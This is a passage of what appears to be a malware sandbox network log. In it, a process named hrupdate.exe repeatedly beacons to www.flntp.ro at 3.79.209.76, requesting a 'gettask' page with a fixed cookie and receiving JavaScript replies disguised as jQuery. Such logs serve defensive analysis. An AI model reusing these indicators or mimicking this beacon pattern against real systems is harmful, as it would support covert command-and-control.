2024-12-19 21:41:07 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:08 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:08 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49786	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:09 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:10 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:10 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49792	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:12 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:12 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:12 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:12 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49798	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:14 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:15 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:15 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49804	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:16 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:17 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:17 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:17 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49810	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:18 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:19 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:19 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:19 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49815	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:20 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:21 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:21 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:21 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49821	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:23 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:24 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:23 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:24 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49827	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:25 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:26 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:26 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:26 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49833	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:28 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:29 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:28 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:29 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49840	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:30 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:31 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:31 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:31 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49846	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
